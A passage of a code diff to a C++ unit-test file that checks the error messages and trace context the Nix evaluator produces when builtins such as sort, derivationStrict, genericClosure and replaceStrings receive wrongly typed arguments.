HintFmt("expected a list but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating a value of the list passed to builtins.concatLists")); - - ASSERT_TRACE2("concatLists [ [1] \"foo\" ]", - TypeError, - HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), - HintFmt("while evaluating a value of the list passed to builtins.concatLists")); - - } - - - TEST_F(ErrorTraceTest, length) { - ASSERT_TRACE2("length 1", - TypeError, - HintFmt("expected a list but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating the first argument passed to builtins.length")); - - ASSERT_TRACE2("length \"foo\"", - TypeError, - HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), - HintFmt("while evaluating the first argument passed to builtins.length")); - - } - - - TEST_F(ErrorTraceTest, foldlPrime) { - ASSERT_TRACE2("foldl' 1 \"foo\" true", - TypeError, - HintFmt("expected a function but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating the first argument passed to builtins.foldlStrict")); - - ASSERT_TRACE2("foldl' (_: 1) \"foo\" true", - TypeError, - HintFmt("expected a list but found %s: %s", "a Boolean", Uncolored(ANSI_CYAN "true" ANSI_NORMAL)), - HintFmt("while evaluating the third argument passed to builtins.foldlStrict")); - - ASSERT_TRACE1("foldl' (_: 1) \"foo\" [ true ]", - TypeError, - HintFmt("attempt to call something which is not a function but %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL))); - - ASSERT_TRACE2("foldl' (a: b: a && b) \"foo\" [ true ]", - TypeError, - HintFmt("expected a Boolean but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), - HintFmt("in the left operand of the AND (&&) operator")); - - } - - - TEST_F(ErrorTraceTest, any) { - ASSERT_TRACE2("any 1 \"foo\"", - TypeError, - HintFmt("expected a function but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating the first argument passed to builtins.any")); - - ASSERT_TRACE2("any (_: 1) \"foo\"", - TypeError, - HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), - HintFmt("while evaluating the second argument passed to builtins.any")); - - ASSERT_TRACE2("any (_: 1) [ \"foo\" ]", - TypeError, - HintFmt("expected a Boolean but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating the return value of the function passed to builtins.any")); - - } - - - TEST_F(ErrorTraceTest, all) { - ASSERT_TRACE2("all 1 \"foo\"", - TypeError, - HintFmt("expected a function but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating the first argument passed to builtins.all")); - - ASSERT_TRACE2("all (_: 1) \"foo\"", - TypeError, - HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), - HintFmt("while evaluating the second argument passed to builtins.all")); - - ASSERT_TRACE2("all (_: 1) [ \"foo\" ]", - TypeError, - HintFmt("expected a Boolean but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating the return value of the function passed to builtins.all")); - - } - - - TEST_F(ErrorTraceTest, genList) { - ASSERT_TRACE2("genList 1 \"foo\"", - TypeError, - HintFmt("expected an integer but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), - HintFmt("while evaluating the second argument passed to builtins.genList")); - - ASSERT_TRACE2("genList 1 2", - TypeError, - HintFmt("expected a function but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating the first argument passed to builtins.genList")); - - // XXX: defered - // ASSERT_TRACE2("genList (x: x + \"foo\") 2 #TODO", - // TypeError, - // HintFmt("cannot add %s to an integer", "a string"), - // HintFmt("while evaluating anonymous lambda")); - - ASSERT_TRACE1("genList false (-3)", - EvalError, - HintFmt("cannot create list of size %d", -3)); - - } - - - TEST_F(ErrorTraceTest, sort) { - ASSERT_TRACE2("sort 1 \"foo\"", - TypeError, - HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), - HintFmt("while evaluating the second argument passed to builtins.sort")); - - ASSERT_TRACE2("sort 1 [ \"foo\" ]", - TypeError, - HintFmt("expected a function but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating the first argument passed to builtins.sort")); - - ASSERT_TRACE1("sort (_: 1) [ \"foo\" \"bar\" ]", - TypeError, - HintFmt("attempt to call something which is not a function but %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL))); - - ASSERT_TRACE2("sort (_: _: 1) [ \"foo\" \"bar\" ]", - TypeError, - HintFmt("expected a Boolean but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating the return value of the sorting function passed to builtins.sort")); - - // XXX: Trace too deep, need better asserts - // ASSERT_TRACE1("sort (a: b: a <= b) [ \"foo\" {} ] # TODO", - // TypeError, - // HintFmt("cannot compare %s with %s", "a string", "a set")); - - // ASSERT_TRACE1("sort (a: b: a <= b) [ {} {} ] # TODO", - // TypeError, - // HintFmt("cannot compare %s with %s; values of that type are incomparable", "a set", "a set")); - - } - - - TEST_F(ErrorTraceTest, partition) { - ASSERT_TRACE2("partition 1 \"foo\"", - TypeError, - HintFmt("expected a function but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating the first argument passed to builtins.partition")); - - ASSERT_TRACE2("partition (_: 1) \"foo\"", - TypeError, - HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), - HintFmt("while evaluating the second argument passed to builtins.partition")); - - ASSERT_TRACE2("partition (_: 1) [ \"foo\" ]", - TypeError, - HintFmt("expected a Boolean but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating the return value of the partition function passed to builtins.partition")); - - } - - - TEST_F(ErrorTraceTest, groupBy) { - ASSERT_TRACE2("groupBy 1 \"foo\"", - TypeError, - HintFmt("expected a function but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating the first argument passed to builtins.groupBy")); - - ASSERT_TRACE2("groupBy (_: 1) \"foo\"", - TypeError, - HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), - HintFmt("while evaluating the second argument passed to builtins.groupBy")); - - ASSERT_TRACE2("groupBy (x: x) [ \"foo\" \"bar\" 1 ]", - TypeError, - HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating the return value of the grouping function passed to builtins.groupBy")); - - } - - - TEST_F(ErrorTraceTest, concatMap) { - ASSERT_TRACE2("concatMap 1 \"foo\"", - TypeError, - HintFmt("expected a function but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating the first argument passed to builtins.concatMap")); - - ASSERT_TRACE2("concatMap (x: 1) \"foo\"", - TypeError, - HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), - HintFmt("while evaluating the second argument passed to builtins.concatMap")); - - ASSERT_TRACE2("concatMap (x: 1) [ \"foo\" ] # TODO", - TypeError, - HintFmt("expected a list but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating the return value of the function passed to builtins.concatMap")); - - ASSERT_TRACE2("concatMap (x: \"foo\") [ 1 2 ] # TODO", - TypeError, - HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), - HintFmt("while evaluating the return value of the function passed to builtins.concatMap")); - - } - - - TEST_F(ErrorTraceTest, add) { - ASSERT_TRACE2("add \"foo\" 1", - TypeError, - HintFmt("expected an integer but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), - HintFmt("while evaluating the first argument of the addition")); - - ASSERT_TRACE2("add 1 \"foo\"", - TypeError, - HintFmt("expected an integer but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), - HintFmt("while evaluating the second argument of the addition")); - - } - - - TEST_F(ErrorTraceTest, sub) { - ASSERT_TRACE2("sub \"foo\" 1", - TypeError, - HintFmt("expected an integer but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), - HintFmt("while evaluating the first argument of the subtraction")); - - ASSERT_TRACE2("sub 1 \"foo\"", - TypeError, - HintFmt("expected an integer but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), - HintFmt("while evaluating the second argument of the subtraction")); - - } - - - TEST_F(ErrorTraceTest, mul) { - ASSERT_TRACE2("mul \"foo\" 1", - TypeError, - HintFmt("expected an integer but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), - HintFmt("while evaluating the first argument of the multiplication")); - - ASSERT_TRACE2("mul 1 \"foo\"", - TypeError, - HintFmt("expected an integer but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), - HintFmt("while evaluating the second argument of the multiplication")); - - } - - - TEST_F(ErrorTraceTest, div) { - ASSERT_TRACE2("div \"foo\" 1 # TODO: an integer was expected -> a number", - TypeError, - HintFmt("expected an integer but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), - HintFmt("while evaluating the first operand of the division")); - - ASSERT_TRACE2("div 1 \"foo\"", - TypeError, - HintFmt("expected a float but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), - HintFmt("while evaluating the second operand of the division")); - - ASSERT_TRACE1("div \"foo\" 0", - EvalError, - HintFmt("division by zero")); - - } - - - TEST_F(ErrorTraceTest, bitAnd) { - ASSERT_TRACE2("bitAnd 1.1 2", - TypeError, - HintFmt("expected an integer but found %s: %s", "a float", Uncolored(ANSI_CYAN "1.1" ANSI_NORMAL)), - HintFmt("while evaluating the first argument passed to builtins.bitAnd")); - - ASSERT_TRACE2("bitAnd 1 2.2", - TypeError, - HintFmt("expected an integer but found %s: %s", "a float", Uncolored(ANSI_CYAN "2.2" ANSI_NORMAL)), - HintFmt("while evaluating the second argument passed to builtins.bitAnd")); - - } - - - TEST_F(ErrorTraceTest, bitOr) { - ASSERT_TRACE2("bitOr 1.1 2", - TypeError, - HintFmt("expected an integer but found %s: %s", "a float", Uncolored(ANSI_CYAN "1.1" ANSI_NORMAL)), - HintFmt("while evaluating the first argument passed to builtins.bitOr")); - - ASSERT_TRACE2("bitOr 1 2.2", - TypeError, - HintFmt("expected an integer but found %s: %s", "a float", Uncolored(ANSI_CYAN "2.2" ANSI_NORMAL)), - HintFmt("while evaluating the second argument passed to builtins.bitOr")); - - } - - - TEST_F(ErrorTraceTest, bitXor) { - ASSERT_TRACE2("bitXor 1.1 2", - TypeError, - HintFmt("expected an integer but found %s: %s", "a float", Uncolored(ANSI_CYAN "1.1" ANSI_NORMAL)), - HintFmt("while evaluating the first argument passed to builtins.bitXor")); - - ASSERT_TRACE2("bitXor 1 2.2", - TypeError, - HintFmt("expected an integer but found %s: %s", "a float", Uncolored(ANSI_CYAN "2.2" ANSI_NORMAL)), - HintFmt("while evaluating the second argument passed to builtins.bitXor")); - - } - - - TEST_F(ErrorTraceTest, lessThan) { - ASSERT_TRACE1("lessThan 1 \"foo\"", - EvalError, - HintFmt("cannot compare %s with %s", "an integer", "a string")); - - ASSERT_TRACE1("lessThan {} {}", - EvalError, - HintFmt("cannot compare %s with %s; values of that type are incomparable", "a set", "a set")); - - ASSERT_TRACE2("lessThan [ 1 2 ] [ \"foo\" ]", - EvalError, - HintFmt("cannot compare %s with %s", "an integer", "a string"), - HintFmt("while comparing two list elements")); - - } - - - TEST_F(ErrorTraceTest, toString) { - ASSERT_TRACE2("toString { a = 1; }", - TypeError, - HintFmt("cannot coerce %s to a string: %s", "a set", Uncolored("{ a = " ANSI_CYAN "1" ANSI_NORMAL "; }")), - HintFmt("while evaluating the first argument passed to builtins.toString")); - - } - - - TEST_F(ErrorTraceTest, substring) { - ASSERT_TRACE2("substring {} \"foo\" true", - TypeError, - HintFmt("expected an integer but found %s: %s", "a set", Uncolored("{ }")), - HintFmt("while evaluating the first argument (the start offset) passed to builtins.substring")); - - ASSERT_TRACE2("substring 3 \"foo\" true", - TypeError, - HintFmt("expected an integer but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), - HintFmt("while evaluating the second argument (the substring length) passed to builtins.substring")); - - ASSERT_TRACE2("substring 0 3 {}", - TypeError, - HintFmt("cannot coerce %s to a string: %s", "a set", Uncolored("{ }")), - HintFmt("while evaluating the third argument (the string) passed to builtins.substring")); - - ASSERT_TRACE1("substring (-3) 3 \"sometext\"", - EvalError, - HintFmt("negative start position in 'substring'")); - - } - - - TEST_F(ErrorTraceTest, stringLength) { - ASSERT_TRACE2("stringLength {} # TODO: context is missing ???", - TypeError, - HintFmt("cannot coerce %s to a string: %s", "a set", Uncolored("{ }")), - HintFmt("while evaluating the argument passed to builtins.stringLength")); - - } - - - TEST_F(ErrorTraceTest, hashString) { - ASSERT_TRACE2("hashString 1 {}", - TypeError, - HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating the first argument passed to builtins.hashString")); - - ASSERT_TRACE1("hashString \"foo\" \"content\"", - UsageError, - HintFmt("unknown hash algorithm '%s', expect 'blake3', 'md5', 'sha1', 'sha256', or 'sha512'", "foo")); - - ASSERT_TRACE2("hashString \"sha256\" {}", - TypeError, - HintFmt("expected a string but found %s: %s", "a set", Uncolored("{ }")), - HintFmt("while evaluating the second argument passed to builtins.hashString")); - - } - - - TEST_F(ErrorTraceTest, match) { - ASSERT_TRACE2("match 1 {}", - TypeError, - HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating the first argument passed to builtins.match")); - - ASSERT_TRACE2("match \"foo\" {}", - TypeError, - HintFmt("expected a string but found %s: %s", "a set", Uncolored("{ }")), - HintFmt("while evaluating the second argument passed to builtins.match")); - - ASSERT_TRACE1("match \"(.*\" \"\"", - EvalError, - HintFmt("invalid regular expression '%s'", "(.*")); - - } - - - TEST_F(ErrorTraceTest, split) { - ASSERT_TRACE2("split 1 {}", - TypeError, - HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating the first argument passed to builtins.split")); - - ASSERT_TRACE2("split \"foo\" {}", - TypeError, - HintFmt("expected a string but found %s: %s", "a set", Uncolored("{ }")), - HintFmt("while evaluating the second argument passed to builtins.split")); - - ASSERT_TRACE1("split \"f(o*o\" \"1foo2\"", - EvalError, - HintFmt("invalid regular expression '%s'", "f(o*o")); - - } - - - TEST_F(ErrorTraceTest, concatStringsSep) { - ASSERT_TRACE2("concatStringsSep 1 {}", - TypeError, - HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating the first argument (the separator string) passed to builtins.concatStringsSep")); - - ASSERT_TRACE2("concatStringsSep \"foo\" {}", - TypeError, - HintFmt("expected a list but found %s: %s", "a set", Uncolored("{ }")), - HintFmt("while evaluating the second argument (the list of strings to concat) passed to builtins.concatStringsSep")); - - ASSERT_TRACE2("concatStringsSep \"foo\" [ 1 2 {} ] # TODO: coerce to string is buggy", - TypeError, - HintFmt("cannot coerce %s to a string: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating one element of the list of strings to concat passed to builtins.concatStringsSep")); - - } - - - TEST_F(ErrorTraceTest, parseDrvName) { - ASSERT_TRACE2("parseDrvName 1", - TypeError, - HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating the first argument passed to builtins.parseDrvName")); - - } - - - TEST_F(ErrorTraceTest, compareVersions) { - ASSERT_TRACE2("compareVersions 1 {}", - TypeError, - HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating the first argument passed to builtins.compareVersions")); - - ASSERT_TRACE2("compareVersions \"abd\" {}", - TypeError, - HintFmt("expected a string but found %s: %s", "a set", Uncolored("{ }")), - HintFmt("while evaluating the second argument passed to builtins.compareVersions")); - - } - - - TEST_F(ErrorTraceTest, splitVersion) { - ASSERT_TRACE2("splitVersion 1", - TypeError, - HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating the first argument passed to builtins.splitVersion")); - - } - - - TEST_F(ErrorTraceTest, traceVerbose) { - } - - - TEST_F(ErrorTraceTest, derivationStrict) { - ASSERT_TRACE2("derivationStrict \"\"", - TypeError, - HintFmt("expected a set but found %s: %s", "a string", "\"\""), - HintFmt("while evaluating the argument passed to builtins.derivationStrict")); - - ASSERT_TRACE2("derivationStrict {}", - TypeError, - HintFmt("attribute '%s' missing", "name"), - HintFmt("in the attrset passed as argument to builtins.derivationStrict")); - - ASSERT_TRACE3("derivationStrict { name = 1; }", - TypeError, - HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating the `name` attribute passed to builtins.derivationStrict"), - HintFmt("while evaluating the derivation attribute 'name'")); - - ASSERT_DERIVATION_TRACE1("derivationStrict { name = \"foo\"; }", - EvalError, - HintFmt("required attribute 'builder' missing")); - - ASSERT_DERIVATION_TRACE2("derivationStrict { name = \"foo\"; builder = 1; __structuredAttrs = 15; }", - TypeError, - HintFmt("expected a Boolean but found %s: %s", "an integer", Uncolored(ANSI_CYAN "15" ANSI_NORMAL)), - HintFmt("while evaluating the `__structuredAttrs` attribute passed to builtins.derivationStrict")); - - ASSERT_DERIVATION_TRACE2("derivationStrict { name = \"foo\"; builder = 1; __ignoreNulls = 15; }", - TypeError, - HintFmt("expected a Boolean but found %s: %s", "an integer", Uncolored(ANSI_CYAN "15" ANSI_NORMAL)), - HintFmt("while evaluating the `__ignoreNulls` attribute passed to builtins.derivationStrict")); - - ASSERT_DERIVATION_TRACE2("derivationStrict { name = \"foo\"; builder = 1; outputHashMode = 15; }", - EvalError, - HintFmt("invalid value '%s' for 'outputHashMode' attribute", "15"), - HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputHashMode", "foo")); - - ASSERT_DERIVATION_TRACE2("derivationStrict { name = \"foo\"; builder = 1; outputHashMode = \"custom\"; }", - EvalError, - HintFmt("invalid value '%s' for 'outputHashMode' attribute", "custom"), - HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputHashMode", "foo")); - - ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = {}; }", - TypeError, - HintFmt("cannot coerce %s to a string: { }", "a set"), - HintFmt(""), - HintFmt("while evaluating attribute '%s' of derivation '%s'", "system", "foo")); - - ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = {}; }", - TypeError, - HintFmt("cannot coerce %s to a string: { }", "a set"), - HintFmt(""), - HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputs", "foo")); - - ASSERT_DERIVATION_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"drvPath\"; }", - EvalError, - HintFmt("invalid derivation output name 'drvPath'"), - HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputs", "foo")); - - ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; outputs = \"out\"; __structuredAttrs = true; }", - EvalError, - HintFmt("expected a list but found %s: %s", "a string", "\"out\""), - HintFmt(""), - HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputs", "foo")); - - ASSERT_DERIVATION_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = []; }", - EvalError, - HintFmt("derivation cannot have an empty set of outputs"), - HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputs", "foo")); - - ASSERT_DERIVATION_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = [ \"drvPath\" ]; }", - EvalError, - HintFmt("invalid derivation output name 'drvPath'"), - HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputs", "foo")); - - ASSERT_DERIVATION_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = [ \"out\" \"out\" ]; }", - EvalError, - HintFmt("duplicate derivation output '%s'", "out"), - HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputs", "foo")); - - ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; __contentAddressed = \"true\"; }", - TypeError, - HintFmt("expected a Boolean but found %s: %s", "a string", "\"true\""), - HintFmt(""), - HintFmt("while evaluating attribute '%s' of derivation '%s'", "__contentAddressed", "foo")); - - ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; __impure = \"true\"; }", - TypeError, - HintFmt("expected a Boolean but found %s: %s", "a string", "\"true\""), - HintFmt(""), - HintFmt("while evaluating attribute '%s' of derivation '%s'", "__impure", "foo")); - - ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; __impure = \"true\"; }", - TypeError, - HintFmt("expected a Boolean but found %s: %s", "a string", "\"true\""), - HintFmt(""), - HintFmt("while evaluating attribute '%s' of derivation '%s'", "__impure", "foo")); - - ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; args = \"foo\"; }", - TypeError, - HintFmt("expected a list but found %s: %s", "a string", "\"foo\""), - HintFmt(""), - HintFmt("while evaluating attribute '%s' of derivation '%s'", "args", "foo")); - - ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; args = [ {} ]; }", - TypeError, - HintFmt("cannot coerce %s to a string: { }", "a set"), - HintFmt("while evaluating an element of the argument list"), - HintFmt("while evaluating attribute '%s' of derivation '%s'", "args", "foo")); - - ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; args = [ \"a\" {} ]; }", - TypeError, - HintFmt("cannot coerce %s to a string: { }", "a set"), - HintFmt("while evaluating an element of the argument list"), - HintFmt("while evaluating attribute '%s' of derivation '%s'", "args", "foo")); - - ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; FOO = {}; }", - TypeError, - HintFmt("cannot coerce %s to a string: { }", "a set"), - HintFmt(""), - HintFmt("while evaluating attribute '%s' of derivation '%s'", "FOO", "foo")); - } +#define ASSERT_DERIVATION_TRACE1(args, type, message) \ + ASSERT_TRACE2(args, type, message, DERIVATION_TRACE_HINTFMT("foo")) +#define ASSERT_DERIVATION_TRACE2(args, type, message, context) \ + ASSERT_TRACE3(args, type, message, context, DERIVATION_TRACE_HINTFMT("foo")) +#define ASSERT_DERIVATION_TRACE3(args, type, message, context1, context2) \ + ASSERT_TRACE4(args, type, message, context1, context2, DERIVATION_TRACE_HINTFMT("foo")) + +TEST_F(ErrorTraceTest, genericClosure) +{ + ASSERT_TRACE2( + "genericClosure 1", + TypeError, + HintFmt("expected a set but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.genericClosure")); + + ASSERT_TRACE2( + "genericClosure {}", + TypeError, + HintFmt("attribute '%s' missing", "startSet"), + HintFmt("in the attrset passed as argument to builtins.genericClosure")); + + ASSERT_TRACE2( + "genericClosure { startSet = 1; }", + TypeError, + HintFmt("expected a list but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the 'startSet' attribute passed as argument to builtins.genericClosure")); + + ASSERT_TRACE2( + "genericClosure { startSet = [{ key = 1;}]; operator = true; }", + TypeError, + HintFmt("expected a function but found %s: %s", "a Boolean", Uncolored(ANSI_CYAN "true" ANSI_NORMAL)), + HintFmt("while evaluating the 'operator' attribute passed as argument to builtins.genericClosure")); + + ASSERT_TRACE2( + "genericClosure { startSet = [{ key = 1;}]; operator = item: true; }", + TypeError, + HintFmt("expected a list but found %s: %s", "a Boolean", Uncolored(ANSI_CYAN "true" ANSI_NORMAL)), + HintFmt("while evaluating the return value of the `operator` passed to builtins.genericClosure")); + + ASSERT_TRACE2( + "genericClosure { startSet = [{ key = 1;}]; operator = item: [ true ]; }", + TypeError, + HintFmt("expected a set but found %s: %s", "a Boolean", Uncolored(ANSI_CYAN "true" ANSI_NORMAL)), + HintFmt("while evaluating one of the elements generated by (or initially passed to) builtins.genericClosure")); + + ASSERT_TRACE2( + "genericClosure { startSet = [{ key = 1;}]; operator = item: [ {} ]; }", + TypeError, + HintFmt("attribute '%s' missing", "key"), + HintFmt("in one of the attrsets generated by (or initially passed to) builtins.genericClosure")); + + ASSERT_TRACE2( + "genericClosure { startSet = [{ key = 1;}]; operator = item: [{ key = ''a''; }]; }", + EvalError, + HintFmt("cannot compare %s with %s", "a string", "an integer"), + HintFmt("while comparing the `key` attributes of two genericClosure elements")); + + ASSERT_TRACE2( + "genericClosure { startSet = [ true ]; operator = item: [{ key = ''a''; }]; }", + TypeError, + HintFmt("expected a set but found %s: %s", "a Boolean", Uncolored(ANSI_CYAN "true" ANSI_NORMAL)), + HintFmt("while evaluating one of the elements generated by (or initially passed to) builtins.genericClosure")); +} + +TEST_F(ErrorTraceTest, replaceStrings) +{ + ASSERT_TRACE2( + "replaceStrings 0 0 {}", + TypeError, + HintFmt("expected a list but found %s: %s", "an integer", Uncolored(ANSI_CYAN "0" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.replaceStrings")); + + ASSERT_TRACE2( + "replaceStrings [] 0 {}", + TypeError, + HintFmt("expected a list but found %s: %s", "an integer", Uncolored(ANSI_CYAN "0" ANSI_NORMAL)), + HintFmt("while evaluating the second argument passed to builtins.replaceStrings")); + + ASSERT_TRACE1( + "replaceStrings [ 0 ] [] {}", + EvalError, + HintFmt("'from' and 'to' arguments passed to builtins.replaceStrings have different lengths")); + + ASSERT_TRACE2( + "replaceStrings [ 1 ] [ \"new\" ] {}", + TypeError, + HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating one of the strings to replace passed to builtins.replaceStrings")); + + ASSERT_TRACE2( + "replaceStrings [ \"oo\" ] [ true ] \"foo\"", + TypeError, + HintFmt("expected a string but found %s: %s", "a Boolean", Uncolored(ANSI_CYAN "true" ANSI_NORMAL)), + HintFmt("while evaluating one of the replacement strings passed to builtins.replaceStrings")); + + ASSERT_TRACE2( + "replaceStrings [ \"old\" ] [ \"new\" ] {}", + TypeError, + HintFmt("expected a string but found %s: %s", "a set", Uncolored("{ }")), + HintFmt("while evaluating the third argument passed to builtins.replaceStrings")); +} + +TEST_F(ErrorTraceTest, scopedImport) {} + +TEST_F(ErrorTraceTest, import) {} + +TEST_F(ErrorTraceTest, typeOf) {} + +TEST_F(ErrorTraceTest, isNull) {} + +TEST_F(ErrorTraceTest, isFunction) {} + +TEST_F(ErrorTraceTest, isInt) {} + +TEST_F(ErrorTraceTest, isFloat) {} + +TEST_F(ErrorTraceTest, isString) {} + +TEST_F(ErrorTraceTest, isBool) {} + +TEST_F(ErrorTraceTest, isPath) {} + +TEST_F(ErrorTraceTest, break) {} + +TEST_F(ErrorTraceTest, abort) {} + +TEST_F(ErrorTraceTest, throw) {} + +TEST_F(ErrorTraceTest, addErrorContext) {} + +TEST_F(ErrorTraceTest, ceil) +{ + ASSERT_TRACE2( + "ceil \"foo\"", + TypeError, + HintFmt("expected a float but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.ceil")); +} + +TEST_F(ErrorTraceTest, floor) +{ + ASSERT_TRACE2( + "floor \"foo\"", + TypeError, + HintFmt("expected a float but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.floor")); +} + +TEST_F(ErrorTraceTest, tryEval) {} + +TEST_F(ErrorTraceTest, getEnv) +{ + ASSERT_TRACE2( + "getEnv [ ]", + TypeError, + HintFmt("expected a string but found %s: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the first argument passed to builtins.getEnv")); +} + +TEST_F(ErrorTraceTest, seq) {} + +TEST_F(ErrorTraceTest, deepSeq) {} + +TEST_F(ErrorTraceTest, trace) {} + +TEST_F(ErrorTraceTest, placeholder) +{ + ASSERT_TRACE2( + "placeholder []", + TypeError, + HintFmt("expected a string but found %s: %s", "a list", Uncolored("[ ]")), + HintFmt("while evaluating the first argument passed to builtins.placeholder")); +} + +TEST_F(ErrorTraceTest, toPath) +{ + ASSERT_TRACE2( + "toPath []", + TypeError, + HintFmt("cannot 